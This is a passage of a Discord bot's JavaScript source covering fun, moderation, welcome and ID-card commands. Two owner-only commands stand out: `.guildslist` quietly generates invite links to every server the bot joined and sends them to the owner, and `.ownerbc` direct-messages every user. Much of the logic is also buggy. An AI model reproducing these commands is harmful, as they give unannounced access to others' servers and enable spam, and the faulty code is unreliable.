7497 .setTitle(`Are you trying to poke thin air...?`)
7498 .setImage('')
7499 message.channel.send({
7500 embed: ghembed
7501 })
7502 return;
7503 }
7504 if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
7505 const hembed = new Discord.RichEmbed()
7506 .setColor("RANDOM")
7507 .setTitle(`${message.mentions.members.first().user.username} you have been poked by ${message.author.username}`)
7508 .setImage(hug[hugresult])
7509 message.channel.send({
7510 embed: hembed
7511 })
7512 return;
7513 }
7514 const ghembed = new Discord.RichEmbed()
7515 .setColor(RANDOM)
7516 .setTitle(`Are you trying to poke thin air...?`)
7517 .setImage('')
7518 message.channel.send({
7519 embed: ghembed
7520 })
7521}
7522});
7523///end
7524
7525///tickle
7526client.on('message', message => {
7527 if(message.content.startsWith(prefix + 'tickle')) {
7528 let args = message.content.split(" ").slice(1);
7529 let hug = [
7530 "https://cdn.weeb.sh/images/rkPzIyQi-.gif",
7531 "https://cdn.discordapp.com/attachments/467499708068265994/467599200432160768/tickle-HyjNLkXiZ.gif",
7532 "https://cdn.discordapp.com/attachments/467499708068265994/467599311002271744/tickle-rybRByXjZ.gif",
7533 "https://cdn.discordapp.com/attachments/466949822604247044/467005567144165377/Cuddle3.gif",
7534 "https://cdn.discordapp.com/attachments/466949822604247044/466952826917093396/cuddlez.gif",
7535 "https://cdn.discordapp.com/attachments/467499708068265994/467599392426426369/tickle-SyGQIk7i-.gif",
7536 "https://cdn.discordapp.com/attachments/467499708068265994/467599512366612520/tickle-HyPyUymsb.gif",
7537 "https://cdn.discordapp.com/attachments/467499708068265994/467607824135094315/tickle-SyQHUy7oW.gif",
7538 "https://cdn.discordapp.com/attachments/467499708068265994/467607970268708865/tickle-Byj7LJmiW.gif",
7539 "https://cdn.weeb.sh/images/H1p0ByQo-.gif",
7540 "https://cdn.weeb.sh/images/SkmEI1mjb.gif",
7541 "https://78.media.tumblr.com/2d29fdbf47fd756caaea08f44b7eac92/tumblr_inline_ow4u7pIhWJ1u544cj_540.gif",
7542 "https://78.media.tumblr.com/eb8a0282d62c9697b93cd546b77106f8/tumblr_o505jxtnWk1vpbklao2_500.gif",
7543 "https://media.giphy.com/media/349HKeODRMQ36/giphy.gif",
7544 "https://media.giphy.com/media/IRKHf3hD2xsre/giphy.gif",
7545 ]
7546 let hugresult = Math.floor((Math.random() * hug.length));
7547 if (!args[0]) {
7548 const ghembed = new Discord.RichEmbed()
7549 .setColor("RANDOM")
7550 .setTitle(`*giggles* :heart:`)
7551 .setImage('')
7552 message.channel.send({
7553 embed: ghembed
7554 })
7555 return;
7556 }
7557 if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
7558 const hembed = new Discord.RichEmbed()
7559 .setColor("RANDOM")
7560 .setTitle(`${message.mentions.members.first().user.username} you got tickled by ${message.author.username}`)
7561 .setImage(hug[hugresult])
7562 message.channel.send({
7563 embed: hembed
7564 })
7565 return;
7566 }
7567 const ghembed = new Discord.RichEmbed()
7568 .setColor(RANDOM)
7569 .setTitle(`${message.mentions.members.first().user.username} you got tickled by ${message.author.username}`)
7570 .setImage('')
7571 message.channel.send({
7572 embed: ghembed
7573 })
7574}
7575});
7576///end
7577
7578
7579client.on('message',message =>{
7580 if(message.content.startsWith(prefix + 'topinvites')) {
7581 message.guild.fetchInvites().then(i =>{
7582 var invites = [];
7583
7584 i.forEach(inv =>{
7585 var [invs,i]=[{},null];
7586
7587 if(inv.maxUses){
7588 invs[inv.code] =+ inv.uses+"/"+inv.maxUses;
7589 }else{
7590 invs[inv.code] =+ inv.uses;
7591 }
7592 invites.push(`invite: ${inv.url} inviter: ${inv.inviter} \`${invs[inv.code]}\`;`);
7593
7594 });
7595 var embed = new Discord.RichEmbed()
7596 .setColor("#000000")
7597 .setDescription(`${invites.join(`\n`)+'\n\n**Requested By:** '+message.author}`)
7598 message.channel.send({ embed: embed });
7599
7600 });
7601
7602 }
7603 });
7604client.on('message', message => {
7605if(!message.channel.guild) return;
7606if(message.content.startsWith(prefix + 'move')) {
7607 if (message.member.hasPermission("MOVE_MEMBERS")) {
7608 if (message.mentions.users.size === 0) {
7609 return message.channel.send("``To Use The Command : " +prefix+ "move [USER]``")
7610}
7611if (message.member.voiceChannel != null) {
7612 if (message.mentions.members.first().voiceChannel != null) {
7613 var authorchannel = message.member.voiceChannelID;
7614 var usermentioned = message.mentions.members.first().id;
7615var embed = new Discord.RichEmbed()
7616 .setTitle("Succes!")
7617 .setColor("#000000")
7618 .setDescription(`i've moved <@${usermentioned}> To Your Channel✅ `)
7619var embed = new Discord.RichEmbed()
7620.setTitle(`You are Moved in ${message.guild.name}`)
7621 .setColor("RANDOM")
7622.setDescription(`**<@${message.author.id}> Moved You To His Channel!\nServer --> ${message.guild.name}**`)
7623 message.guild.members.get(usermentioned).setVoiceChannel(authorchannel).then(m => message.channel.send(embed))
7624message.guild.members.get(usermentioned).send(embed)
7625} else {
7626message.channel.send("``Can not move "+ message.mentions.members.first() +" `This member must be in the voice room`")
7627}
7628} else {
7629 message.channel.send("**``You must be in an audio stream to drag the member``**")
7630}
7631} else {
7632message.react(":x:")
7633 }}});
7634
7635
7636 client.on('message', async message => {
7637 let msgsargs = message.content.split(" ").slice(1).join(" ")
7638 if (message.content.startsWith(prefix + 'prune')) {
7639 if(!msgsargs || !msgsargs > 101) {
7640 let messagesDeleted = await clearChannel(message.channel);
7641
7642 message.channel.sendMessage("The Chat Has Been Pruned").then(messages => messages.delete(5000));
7643 console.log('Number of deleted messages: ' + messagesDeleted)
7644 }
7645 if(msgsargs || msgsargs < 101) {
7646 message.channel.fetchMessages().then(() =>
7647 message.channel.bulkDelete(msgsargs));
7648 message.channel.send(`The Chat Has Been Pruned`).then(messages => messages.delete(5000));
7649 }
7650 }
7651 })
7652
7653 async function clearChannel(channel, n = 0, old = false) {
7654 let collected = await channel.fetchMessages();
7655 if (collected.size > 0) {
7656 if (old) {
7657 for (let msg of collected.array()) {
7658 await msg.delete();
7659 n++;
7660 }
7661 } else {
7662 let deleted = await channel.bulkDelete(100, true);
7663 if (deleted.size < collected.size) old = true;
7664 n += deleted;
7665 }
7666
7667 return n + await clearChannel(channel, old);
7668 } else return 0;
7669 }
7670
7671const reportjson = JSON.parse(fs.readFileSync('./report.json' , 'utf8'));
7672
7673client.on('message', message => {
7674 if (!message.channel.guild) return;
7675
7676 let room = message.content.split(" ").slice(1);
7677 let findroom = message.guild.channels.find('name', `${room}`)
7678 if(message.content.startsWith(prefix + "setReport")) {
7679 if(!message.channel.guild) return;
7680 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
7681if(!room) return message.channel.send('Please Type The Channel Name')
7682if(!findroom) return message.channel.send('Cant Find This Channel')
7683let embed = new Discord.RichEmbed()
7684.setTitle('**Done The report Code Has Been Setup**')
7685.addField('Channel:', `${room}`)
7686.addField('Requested By:', `${message.author}`)
7687.setThumbnail(message.author.avatarURL)
7688.setFooter(`${client.user.username}`)
7689message.channel.sendEmbed(embed)
7690reportjson[message.guild.id] = {
7691channel: room,
7692}
7693fs.writeFile("./report.json", JSON.stringify(reportjson), (err) => {
7694if (err) console.error(err)
7695})
7696client.on('message', message => {
7697
7698 if(message.content.startsWith(`${prefix}report`)) {
7699 let user = message.mentions.users.first();
7700 if(!message.channel.guild) return;
7701 let reason = message.content.split(" ").slice(2).join(" ");
7702 if(!user) return message.channel.send("**You didn\'t mention the user to report**")
7703 if(!reason) return message.reply(`**Please provide a reason**`)
7704 let findchannel = (message.guild.channels.find('name', `${reportjson[message.guild.id].channel}`))
7705 if(!findchannel) return message.reply(`Error 404: The report Channel Cant Find Or Not Set To Set The report Channel Type: ${prefix}setReport`)
7706 message.channel.send(`Done Thank You For Your Report Will Be Seen By The Staffs`)
7707 let sugembed = new Discord.RichEmbed()
7708 .setTitle('New Report !')
7709 .addField('Report By:', `${message.author}`)
7710 .addField('Reported User:', `${user}`)
7711 .addField('Report Reason:', `${reason}`)
7712 .setFooter('BlackBot™')
7713 findchannel.sendEmbed(sugembed)
7714 .then(function (message) {
7715 message.react('✅')
7716 message.react('❌')
7717 })
7718 .catch(err => {
7719 message.reply(`Error 404: The report Channel Cant Find Or Not Set To Set The report Channel Type: ${prefix}setReport`)
7720 console.error(err);
7721 });
7722 }
7723 }
7724)}
7725})
7726
7727
7728client.on('message', msg => {
7729 if(msg.author.bot) return;
7730
7731 if(msg.content === '.guildslist') {
7732 if (msg.author.id !== '505638480248963072') return msg.reply('** هذا الأمر قفط لصاحب البوت و شكراًً **')
7733if(!msg.author.id === '505638480248963072') return;
7734 client.guilds.forEach(g => {
7735
7736 let l = g.id
7737 g.channels.get(g.channels.first().id).createInvite({
7738 maxUses: 5,
7739 maxAge: 86400
7740 }).then(i => msg.channel.send(`
7741 **
7742 Invite Link : <https://discord.gg/${i.code}>
7743 Server : ${g.name} | Id : ${g.id}
7744 Owner ID : ${g.owner.id}
7745 **
7746 `))
7747
7748
7749 })
7750 }
7751
7752 })
7753
7754
7755client.on('message', message => {
7756 if(!message.channel.guild) return;
7757let args = message.content.split(' ').slice(1).join(' ');
7758if (message.content.startsWith('.ownerbc')){
7759if (message.author.id !== '505638480248963072') return message.reply('** هذا الأمر قفط لصاحب البوت و شكراًً **')
7760if(!message.author.id === '505638480248963072') return;
7761message.channel.sendMessage('Now Sending |✅')
7762client.users.forEach(m =>{
7763m.sendMessage(args)
7764})
7765}
7766});
7767client.on('message', message => {
7768 if (message.content.startsWith(prefix + 'users1')) {
7769let msg = client.guilds.map(guild => `**${guild.name}** عدد الاعضاء: ${guild.memberCount}`).join('\n');
7770let embed = new Discord.RichEmbed()
7771.setTitle(`${client.guilds.size} Servers `)
7772.setDescription(`${msg}`)
7773.setColor("#00ff47");
7774message.channel.send(embed);
7775}
7776});
7777let ar = JSON.parse(fs.readFileSync(`./Data/AutoRole.json`, `utf8`))
7778client.on('guildMemberAdd', member => {
7779if(!ar[member.guild.id]) ar[member.guild.id] = {
7780onoff: 'Off',
7781role: 'Member'
7782}
7783if(ar[member.guild.id].onoff === 'Off') return;
7784member.addRole(member.guild.roles.find(`name`, ar[member.guild.id].role)).catch(console.error)
7785})
7786client.on('message', message => {
7787if(!message.guild) return
7788if(!ar[message.guild.id]) ar[message.guild.id] = {
7789onoff: 'Off',
7790role: 'Member'
7791}
7792if(message.content.startsWith(prefix + `autorole`)) {
7793let perms = message.member.hasPermission(`MANAGE_ROLES`)
7794if(!perms) return message.reply(`You don't have permissions, required permission : Manage Roles.`)
7795let args = message.content.split(" ").slice(1)
7796if(!args.join(" ")) return message.reply(`${prefix}autorle toggle/setrole [ROLE NAME]`)
7797let state = args[0]
7798if(!state.trim().toLowerCase() == 'toggle' || !state.trim().toLowerCase() == 'setrole') return message.reply(`Please type a right state, ${prefix}modlogs toggle/setrole [ROLE NAME]`)
7799if(state.trim().toLowerCase() == 'toggle') {
7800if(ar[message.guild.id].onoff === 'Off') return [message.channel.send(`**The Autorole Is __??__ !**`), ar[message.guild.id].onoff = 'On']
7801if(ar[message.guild.id].onoff === 'On') return [message.channel.send(`**The Autorole Is __???__ !**`), ar[message.guild.id].onoff = 'Off']
7802}
7803if(state.trim().toLowerCase() == 'set') {
7804let newRole = message.content.split(" ").slice(2).join(" ")
7805if(!newRole) return message.reply(`${prefix}autorole setrole [ROLE NAME]`)
7806if(!message.guild.roles.find(`name`,newRole)) return message.reply(`I Cant Find This Role.`)
7807ar[message.guild.id].role = newRole
7808message.channel.send(`**The AutoRole Has Been Changed to ${newRole}.**`)
7809}
7810 }
7811if(message.content === prefix + 'info') {
7812let perms = message.member.hasPermission(`MANAGE_GUILD`)
7813if(!perms) return message.reply(`You don't have permissions.`)
7814var embed = new Discord.RichEmbed()
7815.addField(`Autorole : :sparkles: `, `
7816State : __${ar[message.guild.id].onoff}__
7817Role : __${ar[message.guild.id].role}__`)
7818.setColor(`BLUE`)
7819message.channel.send({embed})
7820}
7821fs.writeFile("./Data/AutoRole.json", JSON.stringify(ar), (err) => {
7822if (err) console.error(err)
7823});
7824})
7825
7826
7827
7828
7829
7830const welcome = JSON.parse(fs.readFileSync('./welcomer.json' , 'utf8'));
7831client.on('message', async message => {
7832 let messageArray = message.content.split(" ");
7833 if(message.content.startsWith(prefix + "setLeave")) {
7834
7835 let filter = m => m.author.id === message.author.id;
7836 let thisMessage;
7837 let thisFalse;
7838
7839 if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
7840 msg.delete(4500);
7841 message.delete(4500);
7842 });
7843
7844 message.channel.send(':pencil: **| Now write the message... :pencil2: **').then(msg => {
7845
7846 message.channel.awaitMessages(filter, {
7847 max: 1,
7848 time: 90000,
7849 errors: ['time']
7850 })
7851 .then(collected => {
7852 collected.first().delete();
7853 thisMessage = collected.first().content;
7854 let boi;
7855 msg.edit(':scroll: **| Now write the channel name... :pencil2: **').then(msg => {
7856
7857 message.channel.awaitMessages(filter, {
7858 max: 1,
7859 time: 90000,
7860 errors: ['time']
7861 })
7862 .then(collected => {
7863 collected.first().delete();
7864 boi = collected.first().content;
7865 msg.edit('✅ **| Done successfully.. **').then(msg => {
7866
7867 message.channel.awaitMessages(filter, {
7868 max: 1,
7869 time: 90000,
7870 errors: ['time']
7871 })
7872 let embed = new Discord.RichEmbed()
7873 .setTitle('**Done The Leave Msg Code Has Been Setup**')
7874 .addField('Message:', `${thisMessage}`)
7875 .addField('Channel:', `${boi}`)
7876 .setThumbnail(message.author.avatarURL)
7877 .setFooter(`${client.user.username}`)
7878 message.channel.sendEmbed(embed)
7879 welcome[message.guild.id] = {
7880leavechannel: boi,
7881leavemsg: thisMessage,
7882onoff: 'On',
7883leave: 'On'
7884 }
7885 fs.writeFile("./welcomer.json", JSON.stringify(welcome), (err) => {
7886 if (err) console.error(err)
7887 })
7888 }
7889 )
7890 })
7891 })
7892})
7893 })
7894}})
7895
7896client.on('message', message => {
7897 if (!message.channel.guild) return;
7898
7899 let room = message.content.split(" ").slice(1);
7900 let findroom = message.guild.channels.find('name', `${room}`)
7901 if(message.content.startsWith(prefix + "setWelcomer")) {
7902 if(!message.channel.guild) return;
7903 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
7904if(!room) return message.channel.send('Please Type The Channel Name')
7905if(!findroom) return message.channel.send('Cant Find This Channel')
7906let embed = new Discord.RichEmbed()
7907.setTitle('**Done The Welcome Code Has Been Setup**')
7908.addField('Channel:', `${room}`)
7909.addField('Requested By:', `${message.author}`)
7910.setThumbnail(message.author.avatarURL)
7911.setFooter(`${client.user.username}`)
7912message.channel.sendEmbed(embed)
7913welcome[message.guild.id] = {
7914channel: room,
7915onoff: 'On',
7916by: 'On',
7917dm: 'Off',
7918leave: 'Off'
7919}
7920fs.writeFile("./welcomer.json", JSON.stringify(welcome), (err) => {
7921if (err) console.error(err)
7922})
7923 }})
7924
7925
7926 client.on('message', message => {
7927
7928 if(message.content.startsWith(prefix + "toggleLeave")) {
7929 if(!message.channel.guild) return;
7930 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
7931 if(!welcome[message.guild.id]) welcome[message.guild.id] = {
7932 onoff: 'Off',
7933 leave: 'Off'
7934 }
7935 if(welcome[message.guild.id].leave === 'Off') return [message.channel.send(`**The Leave Msg Is __??__ !**`), welcome[message.guild.id].leave = 'On']
7936 if(welcome[message.guild.id].leave === 'On') return [message.channel.send(`**The Leave Msg Is __???__ !**`), welcome[message.guild.id].leave = 'Off']
7937 fs.writeFile("./welcome.json", JSON.stringify(welcome), (err) => {
7938 if (err) console.error(err)
7939 .catch(err => {
7940 console.error(err);
7941 });
7942 })
7943 }
7944
7945 })
7946client.on('message', message => {
7947
7948 if(message.content.startsWith(prefix + "toggleWelcome")) {
7949 if(!message.channel.guild) return;
7950 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
7951 if(!welcome[message.guild.id]) welcome[message.guild.id] = {
7952 onoff: 'Off'
7953 }
7954 if(welcome[message.guild.id].onff === 'Off') return [message.channel.send(`**The Welcome Is __??__ !**`), welcome[message.guild.id].onoff = 'On']
7955 if(welcome[message.guild.id].onoff === 'On') return [message.channel.send(`**The Welcome Is __???__ !**`), welcome[message.guild.id].onoff = 'Off']
7956 fs.writeFile("./welcome.json", JSON.stringify(welcome), (err) => {
7957 if (err) console.error(err)
7958 .catch(err => {
7959 console.error(err);
7960 });
7961 })
7962 }
7963
7964 })
7965
7966
7967
7968 client.on('message', message => {
7969
7970 if(message.content.startsWith(prefix + "toggleDmwelcome")) {
7971 if(!message.channel.guild) return;
7972 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
7973 if(!welcome[message.guild.id]) welcome[message.guild.id] = {
7974 dm: 'Off'
7975 }
7976 if(welcome[message.guild.id].dm === 'Off') return [message.channel.send(`**The Welcome Dm Is __??__ !**`), welcome[message.guild.id].dm = 'On']
7977 if(welcome[message.guild.id].dm === 'On') return [message.channel.send(`**The Welcome Dm Is __???__ !**`), welcome[message.guild.id].dm = 'Off']
7978 fs.writeFile("./welcome.json", JSON.stringify(welcome), (err) => {
7979 if (err) console.error(err)
7980 .catch(err => {
7981 console.error(err);
7982 });
7983 })
7984 }
7985
7986 })
7987
7988 client.on('message', message => {
7989
7990 if(message.content.startsWith(prefix + "toggleInvitedby")) {
7991 if(!message.channel.guild) return;
7992 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
7993 if(!welcome[message.guild.id]) welcome[message.guild.id] = {
7994 by: 'Off'
7995 }
7996 if(welcome[message.guild.id].by === 'Off') return [message.channel.send(`**The Invited By Is __??__ !**`), welcome[message.guild.id].by = 'On']
7997 if(welcome[message.guild.id].by === 'On') return [message.channel.send(`**The Invited By Is __???__ !**`), welcome[message.guild.id].by = 'Off']
7998 fs.writeFile("./welcome.json", JSON.stringify(welcome), (err) => {
7999 if (err) console.error(err)
8000 .catch(err => {
8001 console.error(err);
8002 });
8003 })
8004 }
8005
8006 })
8007 client.on("guildMemberRemove", member => {
8008 if(!welcome[member.guild.id]) welcome[member.guild.id] = {
8009 onoff: 'Off',
8010 leave: 'Off'
8011 }
8012
8013 if(welcome[member.guild.id].onoff === 'Off') return;
8014 if(welcome[member.guild.id].leave === 'Off') return;
8015 let welcomer = member.guild.channels.find('name', `${welcome[member.guild.id].leavechannel}`)
8016 if(!welcomer) return;
8017 welcomer.send(`${member} ${welcome[member.guild.id].leavemsg}`);
8018 })
8019
8020client.on("guildMemberAdd", member => {
8021 if(!welcome[member.guild.id]) welcome[member.guild.id] = {
8022 onoff: 'Off'
8023 }
8024 if(welcome[member.guild.id].onoff === 'Off') return;
8025 let welcomer = member.guild.channels.find('name', `${welcome[member.guild.id].channel}`)
8026 let memberavatar = member.user.avatarURL
8027 if (!welcomer) return;
8028 if(welcomer) {
8029 moment.locale('ar-ly');
8030 var h = member.user;
8031 let heroo = new Discord.RichEmbed()
8032 .setColor('RANDOM')
8033 .setThumbnail(h.avatarURL)
8034 .setAuthor(h.username,h.avatarURL)
8035 .addField(': The date of your account',`${moment(member.user.createdAt).format('D/M/YYYY h:mm a')} **\n** \`${moment(member.user.createdAt).fromNow()}\``,true)
8036 .setFooter(`${h.tag}`,"https://images-ext-2.discordapp.net/external/JpyzxW2wMRG2874gSTdNTpC_q9AHl8x8V4SMmtRtlVk/https/orcid.org/sites/default/files/files/ID_symbol_B-W_128x128.gif")
8037 welcomer.send({embed:heroo});
8038 }})
8039
8040
8041
8042client.on('guildMemberAdd',async member => {
8043 if(!welcome[member.guild.id]) welcome[member.guild.id] = {
8044 onoff: 'Off'
8045 }
8046 if(welcome[member.guild.id].onoff === 'Off') return;
8047 const Canvas = require('canvas');
8048 const jimp = require('jimp');
8049 const w = ['./welcome_4.png'];
8050 let Image = Canvas.Image,
8051 canvas = new Canvas(800, 300),
8052 ctx = canvas.getContext('2d');
8053 ctx.patternQuality = 'bilinear';
8054 ctx.filter = 'bilinear';
8055 ctx.antialias = 'subpixel';
8056 ctx.shadowColor = 'rgba(0, 0, 0, 0.4)';
8057 ctx.shadowOffsetY = 2;
8058 ctx.shadowBlur = 2;
8059 ctx.stroke();
8060 ctx.beginPath();
8061
8062 fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
8063 if (err) return console.log(err);
8064 let BG = Canvas.Image;
8065 let ground = new Image;
8066 ground.src = Background;
8067 ctx.drawImage(ground, 0, 0, 800, 300);
8068
8069 })
8070
8071 let url = member.user.displayAvatarURL.endsWith(".webp") ? member.user.displayAvatarURL.slice(5, -20) + ".png" : member.user.displayAvatarURL;
8072 jimp.read(url, (err, ava) => {
8073 if (err) return console.log(err);
8074 ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
8075 if (err) return console.log(err);
8076
8077 ctx.font = '36px Arial';
8078 ctx.fontSize = '72px';
8079 ctx.fillStyle = "#ffffff";
8080 ctx.textAlign = "center";
8081 ctx.fillText(member.user.username, 545, 177);
8082
8083 ctx.font = '16px Arial Bold';
8084 ctx.fontSize = '72px';
8085 ctx.fillStyle = "#ffffff";
8086 ctx.textAlign = "center";
8087 ctx.fillText(`Your The Member ${member.guild.memberCount}`, 580, 200);
8088
8089 let Avatar = Canvas.Image;
8090 let ava = new Avatar;
8091 ava.src = buf;
8092 ctx.beginPath();
8093 ctx.arc(169.5, 148, 126.9, -100, Math.PI * 2, true);
8094 ctx.closePath();
8095 ctx.clip();
8096 ctx.drawImage(ava, 36, 21, 260, 260);
8097
8098 let c = member.guild.channels.find('name', `${welcome[member.guild.id].channel}`)
8099 if(!c) return;
8100 c.sendFile(canvas.toBuffer());
8101
8102 });
8103 });
8104 });
8105
8106 const invites = {};
8107
8108const wait = require('util').promisify(setTimeout);
8109
8110client.on('ready', () => {
8111 wait(1000);
8112
8113 client.guilds.forEach(g => {
8114 g.fetchInvites().then(guildInvites => {
8115 invites[g.id] = guildInvites;
8116 });
8117 });
8118});
8119
8120client.on('guildMemberAdd', member => {
8121 if(!welcome[member.guild.id]) welcome[member.guild.id] = {
8122 by: 'Off'
8123 }
8124 if(welcome[member.guild.id].by === 'Off') return;
8125 member.guild.fetchInvites().then(guildInvites => {
8126 const ei = invites[member.guild.id];
8127 invites[member.guild.id] = guildInvites;
8128 const invite = guildInvites.find(i => ei.get(i.code).uses < i.uses);
8129 const inviter = client.users.get(invite.inviter.id);
8130 const logChannel = member.guild.channels.find(channel => channel.name === `${welcome[member.guild.id].channel}`);
8131 if(!logChannel) return;
8132 setTimeout(() => {
8133 logChannel.send(`Invited By: <@${inviter.id}>`);
8134 },2000)
8135 });
8136});
8137
8138client.on("guildMemberAdd", member => {
8139 if(!welcome[member.guild.id]) welcome[member.guild.id] = {
8140 dm: 'Off'
8141 }
8142 if(welcome[member.guild.id].dm === 'Off') return;
8143 member.createDM().then(function (channel) {
8144 return channel.send(`:rose: Welcome To Our Server :rose:
8145:crown: Member Name ${member} :crown:
8146Your Member Number ${member.guild.memberCount} `)
8147}).catch(console.error)
8148})
8149
8150
8151client.on('message', message => {
8152
8153 if(message.content.split(' ')[0] == prefix + 'id') {
8154 if(!message.channel.guild) return;
8155
8156 let args = message.content.split(' ').slice(1).join(' ');
8157
8158 let defineduser = '';
8159 if (!args[1]) {
8160 defineduser = message.author;
8161 } else { // Run this if they did define someone...
8162 let firstMentioned = message.mentions.users.first();
8163 defineduser = firstMentioned;
8164 }
8165
8166 const w = ['./id5.png','./id6.png'];
8167 var Canvas = require('canvas')
8168 var jimp = require('jimp')
8169
8170 const millis = new Date().getTime() - defineduser.createdAt.getTime();
8171 const now = new Date();
8172 dateFormat(now, 'dddd, mmmm dS, yyyy');
8173 const stats2 = ['online', 'Low', 'Medium', 'Insane'];
8174 const days = millis / 1000 / 60 / 60 / 24;
8175 dateFormat(now, 'dddd, mmmm dS, yyyy');
8176 let time = `${dateFormat(defineduser.createdAt)}`
8177 var heg;
8178 if(men) {
8179 heg = men
8180 } else {
8181 heg = message.author
8182 }
8183 var mentionned = message.mentions.members.first();
8184 var h;
8185 if(mentionned) {
8186 h = mentionned
8187 } else {
8188 h = message.member
8189 }
8190 let Image = Canvas.Image,
8191 canvas = new Canvas(300, 300),
8192 ctx = canvas.getContext('2d');
8193 ctx.patternQuality = 'bilinear';
8194 ctx.filter = 'bilinear';
8195 ctx.antialias = 'subpixel';
8196
8197 fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
8198 if (err) return console.log(err);
8199 let BG = Canvas.Image;
8200 let ground = new Image;
8201 ground.src = Background;
8202 ctx.drawImage(ground, 0, 0, 300, 300);
8203
8204 })
8205 var mentionned = message.mentions.users.first();
8206
8207 var client;
8208 if(mentionned){
8209 var client = mentionned;
8210 } else {
8211 var client = message.author;
8212
8213 }
8214
8215 var men = message.mentions.users.first();
8216 var heg;
8217 if(men) {
8218 heg = men
8219 } else {
8220 heg = message.author
8221 }
8222 let url = defineduser.displayAvatarURL.endsWith(".webp") ? defineduser.displayAvatarURL.slice(20, 20) + ".png" : defineduser.displayAvatarURL;
8223 jimp.read(url, (err, ava) => {
8224 if (err) return console.log(err);
8225 ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
8226 if (err) return console.log(err);
8227
8228 let Avatar = Canvas.Image;
8229 let ava = new Avatar;
8230 ava.src = buf;
8231 ctx.drawImage(ava, 112 , 40, 75, 75);
8232
8233 var status;
8234 if (defineduser.presence.status === 'online') {
8235 status = 'ONLINE';
8236 ctx.fillStyle = `#2ce032`;
8237 ctx.beginPath();
8238 ctx.arc(179, 107, 10, 0, Math.PI*2, true);
8239 ctx.closePath();
8240 ctx.fill();
8241
8242 } else if (defineduser.presence.status === 'dnd') {
8243 status = 'DND';
8244 ctx.fillStyle = `#ff0000`;
8245 ctx.beginPath();
8246 ctx.arc(179, 107, 8, 0, Math.PI*2, true);
8247 ctx.closePath();
8248 ctx.fill();
8249 } else if (defineduser.presence.status === 'idle') {
8250 status = 'IDLE';
8251 ctx.fillStyle = `#f4d32e`;
8252 ctx.beginPath();
8253 ctx.arc(179, 107, 10, 0, Math.PI*2, true);
8254 ctx.closePath();
8255 ctx.fill();
8256 } else if (defineduser.presence.status === 'offline') {
8257 status = 'INVISIABLE';
8258 ctx.fillStyle = `#898988`;
8259 ctx.beginPath();
8260 ctx.arc(179, 107, 10, 0, Math.PI*2, true);
8261 ctx.closePath();
8262 ctx.fill();
8263 }
8264
8265
8266 var time2;
8267 if(mentionned){
8268 var time2 = `${dateFormat(message.mentions.users.first.joinedAt)}`;
8269 } else {
8270 var time2 = `${dateFormat(message.member.joinedAt)}`;
8271
8272 }
8273
8274 ctx.font = 'Bold 15px Arial ';
8275 ctx.fontSize = '15px';
8276 ctx.fillStyle = "#ffffff";
8277 ctx.textAlign = "center";
8278 ctx.fillText(status, 70 , 108 );
8279
8280 ctx.font = 'Bold 13px Arial';
8281 ctx.fontSize = '13px';
8282 ctx.fillStyle = "#ffffff";
8283 ctx.textAlign = "center";
8284 ctx.fillText(`${message.author.presence.game === null ? "No Status" : message.author.presence.game.name}`, 150.00 , 180 );
8285
8286
8287 ctx.font = 'Bold 20px Arial ';
8288 ctx.fontSize = '15px';
8289 ctx.fillStyle = "#ffffff";
8290 ctx.textAlign = "center";
8291 ctx.fillText(`${defineduser.username}`, 150.50 , 140);
8292
8293
8294 ctx.font = 'Bold 15px Arial';
8295 ctx.fontSize = '15px';
8296 ctx.fillStyle = "#ffffff";
8297 ctx.textAlign = "center";
8298 ctx.fillText(`#${defineduser.discriminator}`, 227 , 108);
8299
8300 var time2;
8301 if(mentionned){
8302 var time2 = `${dateFormat(message.mentions.users.first.joinedAt)}`;
8303 } else {
8304 var time2 = `${dateFormat(message.member.joinedAt)}`;
8305
8306 }
8307
8308 ctx.font = 'Bold 13px Arial ';
8309 ctx.fontSize = '13px';
8310 ctx.fillStyle = "#ffffff";
8311 ctx.textAlign = "center";
8312 ctx.fillText(`${moment(defineduser.createdTimestamp).fromNow()}`, 179 , 226 );
8313 ctx.font = 'Bold 13px Arial ';
8314 ctx.fontSize = '13px';
8315 ctx.fillStyle = "#ffffff";
8316 ctx.textAlign = "center";
8317 ctx.fillText(`${moment(h.joinedAt).format('YYYY/M/D HH:mm:ss')}`, 179 , 253);
8318
8319 message.channel.sendFile(canvas.toBuffer())
8320
8321
8322 })
8323 })
8324
8325
8326
8327
8328 }
8329
8330 })
8331
8332
8333 client.on("message", msg => {
8334 var prefix = ".";
8335 if(msg.content.startsWith (prefix + "id")) {
8336 if(!msg.channel.guild) return msg.reply('**:x: اسف لكن هذا الامر للسيرفرات فقط **');
8337 const embed = new Discord.RichEmbed();
8338 embed.addField(":cloud_tornado: الاسم", `**[ ${msg.author.username}#${msg.author.discriminator} ]**`, true)
8339 .addField(":id: الايدي", `**[ ${msg.author.id} ]**`, true)
8340 .setColor("RANDOM")
8341 .setFooter(msg.author.username , msg.author.avatarURL)
8342 .setThumbnail(`${msg.author.avatarURL}`)
8343 .setTimestamp()
8344 .setURL(`${msg.author.avatarURL}`)
8345 .addField(':spy: الحالة', `**[ ${msg.author.presence.status.toUpperCase()} ]**`, true)
8346 .addField(':satellite_orbital: يلعب', `**[ ${msg.author.presence.game === null ? "No Game" : msg.author.presence.game.name} ]**`, true)
8347 .addField(':military_medal: الرتب', `**[ ${msg.member.roles.filter(r => r.name).size} ]**`, true)
